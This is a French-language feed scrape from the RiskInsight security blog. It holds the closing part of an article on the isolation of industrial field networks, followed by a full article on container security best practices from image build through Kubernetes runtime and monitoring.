<p> </p>
<h1>Mise à jour</h1>
<p>Pour pouvoir faire des mises à jour, il est nécessaire d’avoir une interconnexion réseau avec un système permettant la redescente de ces mises à jour, ce qui s’oppose à l’isolement des réseaux de terrain. Le besoin de mise à jour en milieu industriel rend-il le modèle de réseau de terrain obsolète ?</p>
<p>Le maintien en condition de sécurité est un sujet complexe dans le cas des systèmes industriels : besoin de disponibilité fort empêchant toute intervention lourde, systèmes isolés d’internet ne permettant pas le téléchargement des mises à jour par le réseau… Dans le cas de réseaux composés principalement d’automates, les mécanismes de mise à jour ont évolué en prenant en compte ces contraintes, si bien qu’aujourd’hui les parcs automates maintenus à jour sont rares (même sur une base annuelle), et ces mises à jour sont principalement déployées manuellement par la maintenance. L’utilisation de réseaux de terrain pour cloisonner l’architecture n’entrave pas l’application de ces mêmes mécanismes sur les automates.</p>
<p>En revanche, l’intégration des technologies IT change la donne : l’une des premières solutions de sécurité recommandée sur un parc Windows est la mise en place d’un serveur WSUS pour centraliser le déploiement des mises à jour, le même principe étant aussi applicable pour des technologies Linux. Nous arrivons donc ici à une nouvelle contrainte des réseaux de terrain possédant des équipements type Soft-PLC ou PC opérateur dédié : <strong>un cloisonnement par double carte réseau empêche la centralisation de la gestion des mises à jour</strong>, obligeant la mise en place d’un processus d’application manuelle des patchs qui peut être complexe et chronophage sur un nombre d’équipements important.</p>
<p>Cette contrainte doit tout de même être évaluée par rapport au besoin. L’argument principal en faveur des mises à jour est le fait qu’elles permettent de corriger des vulnérabilités augmentant la surface d’attaque d’un équipement. Le modèle des réseaux terrain isolant fortement les systèmes, leur surface d’attaque est par définition déjà fortement réduite. Il est donc acceptable que ceux-ci ne soient pas constamment à jour, et dans ce cas une mise à jour manuelle et annuelle des équipements répond au besoin.</p>
<p>Ce modèle ne convient cependant pas avec les besoins des antivirus d’être à jour constamment pour garantir une protection optimale. C’est pour cela qu’il est nécessaire dans ce cas de s’appuyer sur le fait d’avoir des systèmes bougeant très peu dans le temps, ce qui facilite l’utilisation dans le temps de solution de filtrage applicatif en liste blanche type AppLocker ou WDAC (voir <a href="https://www.riskinsight-wavestone.com/2023/12/le-filtrage-applicatif-quelle-strategie-adopter-pour-son-systeme-de-supervision-industriel/"><u>notre article sur le filtrage applicatif</u></a>).</p>
<p>Finalement, les pratiques de mises à jour en milieu industriel se sont adaptées au principe même d’isolation réseau permettant de réduire ces besoins. Ces pratiques demandent cependant le durcissement des équipements à leur installation, ainsi que la mise en place de solutions permettant de maintenir le niveau de sécurité des systèmes avec un minimum de maintenance à effectuer.</p>
<p> </p>
<h1>Accès distant</h1>
<p>Après avoir abordé les flux « automatisés » des mises à jour, qu’en est-t-il des flux initiés par un utilisateur pour accéder à un équipement à distance pour des opérations métier ou de maintenance ? Pour des automates, ces accès sont rares : ils n’ont pas besoin d’actions humaines pour effectuer leurs tâches, et dans le cas de maintenance effectuée en interne, elle est souvent réalisée en accédant à l’automate depuis le réseau sur lequel il se trouve (les réseaux dédiés à l’administration pour les automates sont encore très rares). Dans le cas où l’automate est accessible depuis le réseau de production principal, la maintenance peut être centralisée depuis un point de connexion unique. Par contre, les réseaux de terrain étant isolés du réseau de production, les automates s’y trouvant sont accédés en allant brancher l’ordinateur portable de maintenance au “bon” commutateur interconnectant les différents équipements du sous-réseau, voire même directement sur le port USB de l’automate avec une liaison série.</p>
<p>Les limitations apparaissent par contre pour des réseaux de terrain avec des équipements maintenus par un fournisseur ou prestataire de maintenance. En effet, la maintenance à distance est devenue le moyen privilégié, et il est assez rare aujourd’hui d’avoir du personnel tier de maintenance à disposition pour se déplacer physiquement sur site à tout moment. La solution la plus souvent rencontrée pour faire face à cette problématique est l’installation d’une terminaison VPN directement sur un réseau de terrain, avec un tunnel relié au prestataire. Cela répond effectivement à la problématique, mais contourne aussi tout le principe d’isolement des réseaux de terrain, qui sont alors exposés en cas de compromission du prestataire.</p>
<p><strong>On atteint ici la plus grande limite du modèle de réseau terrain</strong>, renforcée qui plus est avec la tendance à la centralisation des accès distant et l’installation de solution type bastion qui ne peuvent pas couvrir les accès aux réseaux de terrain du fait de leur isolement.</p>
<p> </p>
<h1>Conclusion</h1>
<p>L’existence des réseaux de terrain est principalement historique, du fait des anciens modèles d’architecture en controller/worker et de la mise en place graduelle du modèle TCP/IP dans les réseaux industriels. Ces modèles d’architecture se sont adaptés au cycle de vie des systèmes : ils sont très peu accédés par des utilisateurs et sont conçus pour fonctionner en autonomie en remontant les données à l’automate controller.</p>
<p><strong>Le cloisonnement est le principal point fort des réseaux de terrain</strong> : transformer un automate en rebond sur deux interfaces réseaux différentes est une technique d’attaque très avancée. Afin de détecter de possibles attaques, des solutions existent pour mettre en place de la supervision sur des réseaux isolés, notamment via des TAPs.</p>
<p>L’autre avantage de l’isolement réseau est de <strong>réduire les efforts à faire sur le maintien en condition de sécurité</strong>. Le besoin de mise à jour d’un équipement isolé n’est forcément pas le même que sur un équipement utilisé par un humain et interagissant avec des réseaux tiers. Les équipements isolés ayant un cycle de vie avec peu de changement, <strong>l’effort doit être mis sur le durcissement à la mise en service</strong>.</p>
<p><strong>A l’inverse, l’isolation de ces réseaux posent de nombreuses problématiques sur les accès distants</strong> : il est possible de les limiter quand la gestion du parc industriel est en interne, mais ils sont essentiels dans le cas où un prestataire doit intervenir à distance. Afin d’éviter les initiatives locales ou les solutions à la main des tiers, il est recommandé de mettre en place une solution d’accès distant maîtrisée (VPN, bastion…), vers les équipements accédés à placer dans un sous-réseau dédié avec un point d’entrée filtré et maîtrisé.</p>
<p>En synthèse, <strong>le modèle de réseau terrain est encore aujourd’hui pertinent</strong>. Cependant, <strong>les tendances récentes, notamment liées à l’industrie 4.0, vont poser de nouvelles problématiques</strong> : L’apparition notamment des Industrial IOT, impliquant la mise en place de bus IoT interconnectés avec l’extérieur, remet en question la pertinence d’avoir des réseaux IP isolés cohabitant avec des bus IoT plus exposés.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h5>Sources</h5>
<p>Dragos Analyzing PIPEDREAM: Results from Runtime Testing<br /><a href="https://www.dragos.com/blog/analyzing-pipedream-results-from-runtime-testing/">https://www.dragos.com/blog/analyzing-pipedream-results-from-runtime-testing/</a></p>
<p>GreHack 2020: A full chained exploit from IT network to PLC’s unconstrained code execution<br /><a href="https://www.youtube.com/watch?v=PfdoaxYkmUE">https://www.youtube.com/watch?v=PfdoaxYkmUE</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/02/les-reseaux-de-terrain-lhistorique-des-systemes-industriels-a-lepreuve-du-futur/">Les réseaux de terrain : l’historique des systèmes industriels à l’épreuve du futur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/02/les-reseaux-de-terrain-lhistorique-des-systemes-industriels-a-lepreuve-du-futur/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Naviguez en toute sécurité : La sécurisation des conteneurs étape par étape </title>
		<link>https://www.riskinsight-wavestone.com/2024/01/naviguez-en-toute-securite-la-securisation-des-conteneurs-etape-par-etape/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/01/naviguez-en-toute-securite-la-securisation-des-conteneurs-etape-par-etape/#respond</comments>
		
		<dc:creator><![CDATA[Elise JOUSSELIN]]></dc:creator>
		<pubDate>Thu, 11 Jan 2024 09:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Conteneurs]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=22173</guid>

					<description><![CDATA[<p>Les conteneurs représentent une opportunité de déploiement rapide, flexible et efficace des applications. En 2019, 84% des infrastructures de production utilisaient déjà des conteneurs[1]. Comme souvent, cette adoption massive s’est faite sans l’intégration des équipes CyberSécurité, parfois par méconnaissance de...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/01/naviguez-en-toute-securite-la-securisation-des-conteneurs-etape-par-etape/">Naviguez en toute sécurité : La sécurisation des conteneurs étape par étape </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Les conteneurs représentent une opportunité de déploiement rapide, flexible et efficace des applications.</p>
<p style="text-align: justify;">En 2019, 84% des infrastructures de production utilisaient déjà des conteneurs<a href="#_ftn1" name="_ftnref1">[1]</a>. Comme souvent, cette adoption massive s’est faite sans l’intégration des équipes CyberSécurité, parfois par méconnaissance de la technologie, parfois par une vision de simplicité et efficacité des équipes de développement.</p>
<p style="text-align: justify;"><strong>Le besoin de sécurisation des conteneurs est plus présent que jamais, il est temps que les équipes Cyber comprennent la technologie pour définir les bonnes mesures de sécurité</strong></p>
<p style="text-align: justify;">Dans un premier temps, nous présenterons une comparaison entre les conteneurs et les machines virtuelles, puis nous reviendrons sur les raisons de l’émergence des conteneurs. Nous verrons ensuite comment les sécuriser tout au long de leur cycle de vie, <strong>étape par étape</strong>.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Machine virtuelle, conteneur : quelle différence ?</h1>
<p style="text-align: justify;">Mais pourquoi choisir un conteneur ? Pour comprendre cela, il faut tout d&rsquo;abord regarder la différence entre une machine virtuelle et un conteneur</p>
<p style="text-align: justify;">La différence principale entre une VM (Virtual Machine) et un conteneur réside dans les éléments inclus dans l’espace virtualisé. Un conteneur contient uniquement l&rsquo;applicatif et les dépendances nécessaires pour son exécution alors qu’une VM contiendra un système d’exploitation sur lequel seront installées une ou plusieurs applications. Un conteneur ne possédant pas de système d’exploitation, il s’appuie sur celui de l’hôte sur lequel il s’exécute. Cette distinction permet de gagner en légèreté et complexité.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22174 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01.png" alt="" width="532" height="296" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01.png 532w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01-343x191.png 343w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01-71x39.png 71w" sizes="auto, (max-width: 532px) 100vw, 532px" /></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Mais alors, pourquoi les conteneurs ?</h2>
<p style="text-align: justify;">Les conteneurs n’ont pas été développés dans un objectif de<strong> renforcer le niveau de sécurité, mais plutôt pour des besoins d’infrastructure</strong>. Les principaux avantages sont :</p>
<ul style="text-align: justify;">
<li><strong>La</strong> <strong>consistance</strong>: les conteneurs peuvent être lancés sur n’importe quelle machine, ils fonctionneront de la même manière.</li>
<li><strong>L’économie</strong>: les conteneurs sont plus rapides et demandent moins de ressources que les VMs, ils coûtent donc moins cher.</li>
<li><strong>L’automatisation</strong>: il est beaucoup plus simple d’automatiser le déploiement d’un conteneur que la création d’une machine virtuelle (les technologies Cloud ont fait beaucoup de progrès sur ce point depuis).</li>
</ul>
<p style="text-align: justify;">Ces trois avantages, combinés à la popularisation de l’approche DevOps au sein des entreprises, ont fait exploser l’utilisation de conteneurs. Sans pour autant être mise de côté, la sécurité n’a pas été un objectif dans la conception des conteneurs. Ainsi, les bonnes pratiques de sécurité se sont mises en place au fur et à mesure du développement et de l’utilisation de cette technologie.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Les modèles d’exécution</h1>
<p style="text-align: justify;">Les avantages des conteneurs sont liés à un mode de fonctionnement spécifique qui s&rsquo;appuie sur une cinématique d&rsquo;exécution très particulière. Regardons à présent quels sont les modèles d’exécution des conteneurs.</p>
<p style="text-align: justify;">Un conteneur peut être <strong>exécuté sur une machine hébergée on-premise ou dans le Cloud</strong>. Comme expliqué précédemment, un conteneur contient uniquement un applicatif et ses dépendances. Il ne possède pas de système d’exploitation et s’appuie ainsi sur les fonctionnalités de l’hôte. Par conséquent, un conteneur nécessitant des fonctionnalités Linux, devra fonctionner sur une machine au système d’exploitation Linux. Réciproquement, un conteneur requérant des fonctionnalités Windows s’exécutera sur une machine Windows. Cependant, des procédés de virtualisation, comme Hyper-V pour Windows, permettent de s’affranchir de ces contraintes.</p>
<p style="text-align: justify;">Pour exécuter un conteneur sur une machine, il faudra simplement installer un logiciel de gestion de conteneurs (un <em>container runtime</em>). Parmi les plateformes de conteneurs, <em>Docker</em>, <em>lxd</em> et <em>Containerd</em> sont les plus utilisées.</p>
<p style="text-align: justify;">Il est ainsi simple d’exécuter un unique conteneur sur une machine. Cependant, les entreprises possèdent souvent de nombreux d’applicatifs. Un problème se pose alors pour la gestion et la mise à l’échelle des conteneurs à déployer.</p>
<p style="text-align: justify;">C’est à ce moment-là que les <strong>orchestrateurs de conteneurs </strong>entrent en jeu. Un orchestrateur va permettre de gérer facilement le déploiement, la surveillance, le cycle de vie, la mise à l’échelle ainsi que la mise en réseau des conteneurs. Ces orchestrateurs peuvent être configurés sur des <strong>machines on-premise ou à travers des services mis à disposition par les fournisseurs Cloud</strong>. Dans ce second cas, leur mise en place et leur configuration seront facilitées, car elles sont gérées par le fournisseur Cloud. La technologie la plus répandue d’orchestrateur au sein des entreprises est <em>Kubernetes. </em>Il existe aussi de nombreux produits se basant dessus, comme <em>OpenShift</em> par exemple. D’autres alternatives comme <em>Docker Swarn</em> permettent également cette orchestration.</p>
<p style="text-align: justify;">L’infographie suivante résume les modèles d’exécutions ainsi que le nom des technologies ou services :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22176 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02.png" alt="" width="605" height="235" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02-437x170.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02-71x28.png 71w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Cette grande variété des modes de déploiement permet d&rsquo;adapter au mieux le conteneur au besoin métier.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Focus sur l’orchestrateur <em>Kubernetes </em></h1>
<p style="text-align: justify;">Comme énoncé précédemment, <em>Kubernetes</em> et les produits basés sur cette technologie pour l’orchestration sont les plus répandus. <em>Kubernetes</em> sera ainsi utilisé pour illustrer le fonctionnement d’un orchestrateur. Pour le schématiser simplement, prenons l’analogie d’un port à conteneurs.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22178 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03.png" alt="" width="603" height="425" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03.png 603w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03-55x39.png 55w" sizes="auto, (max-width: 603px) 100vw, 603px" /></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Considérons tout d’abord les <strong>nœuds worker</strong>. Ce seront <strong>nos bateaux porte-conteneurs</strong>. Ils ont pour vocations de porter la charge, c’est-à-dire d’exécuter les conteneurs de l’orchestrateur.</p>
<p style="text-align: justify;">Kubernetes introduit ensuite le concept de <strong>pods</strong>. Un <strong>pod sera les conteneurs</strong> sur les bateaux. Un <strong>pod est généralement composé d’un unique conteneur</strong>. C’est ce composant qui fait tourner l’applicatif à déployer.</p>
<p style="text-align: justify;">Ensuite, nous avons le <strong>control plane constitué des nœuds master</strong>. Ils sont représentés par <strong>les grues</strong> qui vont dispatcher les conteneurs d’un bateau à un autre selon la charge que chaque bateau peut accueillir. En termes techniques Kubernetes, le nœud master va décider sur quel(s) nœud(s) worker exécuter les pods. Le <strong>nœud master est le point central du cluster</strong>. Il contient toute l’intelligence du cluster. C’est également avec lui qu’on interagit pour administrer le cluster et c’est avec lui que les nœuds worker interagissent pour savoir quelles actions effectuer selon les pods qu’ils exécutent (créer de nouveau, les détruire…).</p>
<p style="text-align: justify;">Pour finir, on aura un <strong>équilibreur de charge </strong>qui sera, dans cette analogie, représenté par les camions acheminant les conteneurs. L’équilibreur de charge permet de répartir la charge de flux entrants entre les pods. Par exemple, si trois pods hébergent le même applicatif, l’équilibreur de charge fera en sorte de répartir les requêtes entre les 3 pour ne pas en surcharger un. L’équilibreur de charge est l’interface entre le cluster et l’extérieur, tout comme les camions font le lien avec l’extérieur du port.</p>
<p style="text-align: justify;">Plus classiquement, voici le schéma technique reprenant les différents éléments<a href="#_ftn2" name="_ftnref1">[2]</a> :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22180 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04.png" alt="" width="1478" height="902" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04.png 1478w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-313x191.png 313w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-64x39.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-768x469.png 768w" sizes="auto, (max-width: 1478px) 100vw, 1478px" /></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Comment sécuriser le container à toutes les étapes de son cycle de vie ?</h1>
<p style="text-align: justify;">Maintenant que nous avons abordé les notions de base, voyons comment on peut sécuriser tout cela. La sécurité doit s’appliquer à chacun des stades du cycle de vie d’un conteneur. En effet, chaque stade présente des défis et des impacts de sécurité associés.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22182 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05.png" alt="" width="871" height="457" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05.png 871w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05-364x191.png 364w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05-768x403.png 768w" sizes="auto, (max-width: 871px) 100vw, 871px" /></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’image est d’abord construite</h2>
<p style="text-align: justify;">La première étape du cycle de vie des conteneurs est de <strong>choisir une image de base</strong>. Une image de conteneur est un ensemble de logiciels légers et de fichiers qui comprend tout ce qui est nécessaire à l&rsquo;exécution d&rsquo;une application : le code, le moteur d&rsquo;exécution, les outils système, les bibliothèques système et les paramètres. Le plus souvent, on va récupérer cette image sur internet. Il existe donc un risque d’utiliser une image d’une source inconnue qui serait déjà compromise (avec une <em>backdoor</em> par exemple).</p>
<p style="text-align: justify;">Ainsi, dans cette première étape, il est primordial de bien choisir la source de son image pour s’assurer de prendre une image de confiance (« <em>Trusted image</em> »). Pour cela, on peut s’appuyer sur des sources de référence comme Docker Hub ou encore proposer un catalogue d’images propre à son entreprise. Dans ce dernier cas, les images sont vérifiées et validées en amont par les équipes sécurité de l’entreprise, on les appelle des « <em>golden images</em> ».</p>
<p style="text-align: justify;">La seconde étape est <strong>d’installer une application sur l’image</strong>. Il existe donc un risque classique de vulnérabilité dans le code de l’application. Les scans de vulnérabilités, la sensibilisation des développeurs et le respect des bonnes pratiques de développement s’imposent ici pour éviter qu’une vulnérabilité ne se glisse dans le code de l’application.</p>
<p style="text-align: justify;">La troisième étape est la <strong>configuration des images</strong>. Il s’agit de configurations par défaut appliquées lors du déploiement des conteneurs. À titre d&rsquo;exemple, un <strong>conteneur est exécuté</strong> avec le compte <strong>root </strong>(ou administrateur système) <strong>par défaut</strong> : ne pas modifier <strong>cette</strong> <strong>configuration représente un</strong> <strong>risque</strong> si le conteneur venait à être compromis. De plus, le fait de mettre le <strong>système de fichier </strong>du conteneur <strong>en</strong> <strong>lecture seule</strong>, permet également de limiter les impacts en cas de compromission. En effet, avec ces deux configurations, un attaquant aura moins de champ libre pour ses actions.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’image est ensuite stockée dans un dépôt de conteneurs</h2>
<p style="text-align: justify;">Une fois l’image construite, il faut la stocker pour pouvoir y accéder et la déployer autant de fois qu’on le souhaite. Pour cela on utilise un dépôt de conteneurs qu’il est nécessaire de sécuriser également. En effet, si un attaquant pousse une image vérolée dans le dépôt de conteneur, cette dernière peut être déployée en production.</p>
<p style="text-align: justify;">Plusieurs mesures de sécurité peuvent être mises en place pour sécuriser le dépôt de conteneurs :</p>
<ul style="text-align: justify;">
<li><strong>Restreindre les droits et les permissions </strong>des utilisateurs ou des ressources sur le dépôt pour réduire le risque : seules les personnes ou ressources ayant besoin de « pousser » ou « retirer » une image du dépôt doivent être en droit de le faire.</li>
<li><strong>Restreindre l’exposition réseau</strong>.</li>
<li><strong>Signer les images </strong>déposées pour assurer leur intégrité.</li>
<li><strong>Conserver une trace des actions </strong>effectuées sur le dépôt de conteneurs.</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">S’ensuit la phase de déploiement de l’image</h2>
<p style="text-align: justify;">Une fois l’image construite et stockée, il faut désormais la déployer pour la rendre accessible.</p>
<p style="text-align: justify;"><strong>Lorsque l’on déploie un conteneur</strong>, on va <strong>déterminer des configurations</strong><strong> selon les cas d’usage</strong>. Certaines configurations permettent ainsi de réduire l’isolation logique existante entre les conteneurs et l’hôte. Par exemple il est possible d’autoriser un conteneur à lister les processus de l’hôte ou encore partager la même carte réseau. La configuration <em>privileged</em>, permet même de faire tomber ces barrières d’isolation et donne aux conteneurs un accès à l’ensemble des fonctionnalités de l’hôte. Ces <strong>configurations, certaines dangereuses, peuvent aboutir à des échappements de conteneur </strong>: c’est-à-dire un attaquant qui est sur un conteneur peut utiliser ces privilèges pour s’échapper et parvenir au système d’exploitation. Une fois sur le système d’exploitation, un attaquant pourra obtenir des informations à partir de fichiers de l’hôte ou initier des déplacements latéraux. En d’autres termes, c’est un pas de plus dans le système d’information.</p>
<p style="text-align: justify;">En termes de recommandation sur le déploiement, il sera ainsi nécessaire dans un premier temps de limiter les dépôts de conteneurs à une liste connue et de confiance. Par la suite, des configurations comme <em>AppArmor</em>, <em>Seccomp</em> ou la désactivation des <em>capabilities</em> Linux permettent de restreindre les appels système et les ressources qui seront utilisées par les conteneurs. Pour finir, il conviendra de configurer le système de fichiers du conteneur en lecture seule (<em>ReadOnly</em>) et d’appliquer le principe de moindre privilège sur les configurations passées aux conteneurs. En d’autres termes, il est <strong>nécessaire de limiter l’utilisation de la configuration <em>privileged </em>ou encore la rupture de certaines isolations </strong>(process, réseau, etc.).</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Enfin le conteneur est exécuté</h2>
<p style="text-align: justify;">Pour ce qui est de l’exécution, nous allons nous concentrer sur les méthodes privilégiées par les entreprises. C’est-à-dire les orchestrateurs, avec souvent <em>Kubernetes</em>, ou bien les services d’hébergement de conteneurs sur le Cloud, les CaaS.</p>
<p style="text-align: justify;">Dans le cas de l’orchestration par Kubernetes, l’objectif sera d’abord de <strong>vérifier la conformité des déploiements de conteneurs</strong> afin d’éviter le déploiement de conteneurs dangereux privilégiés. Ils peuvent provenir d’attaque ou simplement d’erreurs d’administration. Selon les plateformes, on parle des , des <em>SecurityContextConstraint</em> ou encore d’outils externes comme OPA <em>Gatekeeper</em>.</p>
<p style="text-align: justify;">Il est également recommandé de <strong>limiter les flux réseau </strong>au sein du cluster, entre les conteneurs, et sortants du cluster afin de restreindre les déplacements latéraux. Cette restriction peut être appliquée avec des <em>NetworkPolicy</em> ou à nouveau avec des outils externes de micro-segmentation. Pour finir, il sera nécessaire d’avoir une <strong>gestion fine des rôles </strong>et utilisateurs ainsi que d’appliquer un durcissement suffisant sur les machines virtuelles servant de nœuds.</p>
<p style="text-align: justify;">Dans le cas des CaaS, l’infrastructure est gérée par le fournisseur Cloud. En tant qu’utilisateur, le durcissement pourra se faire uniquement par l’activation ou la désactivation de certaines options. Une analyse de chaque solution sera nécessaire pour définir des recommandations précises car Azure, Google Cloud Platform ou encore Amazon Web Services proposent des options différentes.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Pour finir, surveiller l’ensemble des étapes</h2>
<p style="text-align: justify;">Le monitoring des conteneurs est important pour des besoins de debug ou encore de récupération de preuves en cas d’incident. Malheureusement, contrairement à une machine virtuelle, <strong>un conteneur est éphémère</strong>. Ses journaux le sont aussi par conséquent… Dans ce cas, comment faire ?</p>
<p style="text-align: justify;">La supervision pourra se faire à trois niveaux :</p>
<ul style="text-align: justify;">
<li>Au niveau des conteneurs en externalisant les journaux (pour lutter contre le côté éphémère des conteneurs et de ses journaux)</li>
<li>Au niveau de la charge de travail des conteneurs (<em>workload</em>)</li>
<li>Au niveau des infrastructures (les nœuds du cluster par exemple)</li>
</ul>
<p style="text-align: justify;">Cette journalisation collectée pourra être gérée par des équipes SOC Cloud dédiées ou centraliser dans le SIEM de l’entreprise. Par la suite, <strong>des scénarios de détection pourront être créés</strong></p>
<p style="text-align: justify;">Il est important de mentionner que les solutions CaaS ainsi que les <em>Kubernetes</em> managés par un fournisseur Cloud (AKS, EKS, GKE, …) permettent de faciliter la centralisation et l’externalisation de ces journaux.</p>
<p style="text-align: justify;">Cette partie a permis d&rsquo;aborder les bonnes pratiques à respecter et les risques associés à chaque étape du cycle de vie d’un conteneur. Le schéma ci-dessous permet d&rsquo;en faire un résumé :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22184 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06.png" alt="" width="599" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06-309x191.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06-63x39.png 63w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">CWPP, la solution à nos problèmes ?</h1>
<p style="text-align: justify;"><strong>CWPP, Cloud Workload Protection Platform</strong>, est un nouvel outil dont on entend beaucoup parler en ce moment. Mais que permet-il ?</p>
<p style="text-align: justify;">Un CWPP est un outil permettant de surveiller et de détecter les menaces sur les workloads, i.e l’ensemble des services exécutés sur le cloud, et en particulier les conteneurs. Il permet d’assurer une partie de la sécurité tout au long du cycle de vie présenté précédemment. Il est notamment utile pour la détection de secrets et de vulnérabilités dans les librairies des applications, la réalisation d’une revue des accès au dépôt, la vérification des configurations ou encore la gestion de la partie monitoring (collecte des logs, détection et remédiation).</p>
<p style="text-align: justify;">Comme tout outil, le CWPP ne sera pas magique. Il sera nécessaire de le déployer avec ou sans agent suivant les cas de figure que l’on souhaite couvrir. Mais au-delà de l’aspect technique du déploiement, il sera nécessaire de l’intégrer dans le processus de l’entreprise pour que tous les acteurs aient un outil leur permettant d’optimisant la sécurité. Il ne faut donc pas minimiser la charge nécessaire de définition de stratégie, de nouveaux processus et d’accompagnement au changement des acteurs ainsi que l’intégration de l’outil avec les outils utilisés par les développeurs. Par exemple, un développeur souhaitera être informé qu’il doit réaliser une remédiation sur un conteneur sur son outil de gestion des incidents (JIRA, issue dans le Git projet&#8230;) et être en mesure de pouvoir tester son nouveau conteneur depuis sa machine avant même de l’avoir poussé dans le dépôt de conteneur. Les fonctionnalités d’un CWPP sont bien souvent déjà partiellement ou totalement couvertes par des outils existants, sa mise en place peut permettre de centraliser la vision et parfois d’optimiser les coûts de licences.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Les éléments clés de la sécurisation des conteneurs</h1>
<p style="text-align: justify;">Vous l’aurez compris avec cet article, le conteneur est né pour des besoins d’infrastructure. Leur aspect léger et flexible en fait un atout parfait pour les besoins applicatifs actuels. Cette démocratisation induit de nouvelles surfaces d’attaques à protéger et impose donc la prise en compte de la sécurité des conteneurs.</p>
<p style="text-align: justify;">Malheureusement, il n’existe pas un outil ou une unique bonne pratique à respecter. En effet, comme l’article l’illustre, c’est un ensemble d’éléments qui permettent de sécuriser ces boites applicatives. Parmi les bonnes pratiques à respecter, les 5 points suivants sont les éléments clés à retenir :</p>
<ol style="text-align: justify;">
<li style="text-align: justify;"><strong>Contrôler les images :</strong> en utilisant une image de confiance durcie, en sécurisant le code source et en réalisant des scans de vulnérabilités</li>
<li style="text-align: justify;"><strong>Sécuriser l’isolation des conteneurs :</strong> en évitant les configurations dangereuses lors du déploiement des conteneurs et via le durcissement des images</li>
<li style="text-align: justify;"><strong>Assurer la segmentation réseau :</strong> en s&rsquo;assurant de restreindre l’exposition externe du cluster, les flux au sein du cluster et en sortie du cluster</li>
<li style="text-align: justify;"><strong>Monitoring et détection :</strong> en récupérant des journaux à 3 niveaux différents et en mettant en place des scénarios de détection</li>
<li style="text-align: justify;"><strong>Sécuriser l’accès IAM :</strong> en appliquant une gestion fine de l’IAM sur le cluster ou sur le fournisseur Cloud. Cette gestion peut s’accompagner de revue périodique.</li>
</ol>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1"></a><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html">https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html</a></p>
<p style="text-align: justify;"><a href="#_ftnref2" name="_ftn1">[2]</a> <a href="https://kubernetes.io/docs/concepts/overview/components/">https://kubernetes.io/docs/concepts/overview/components/</a></p>
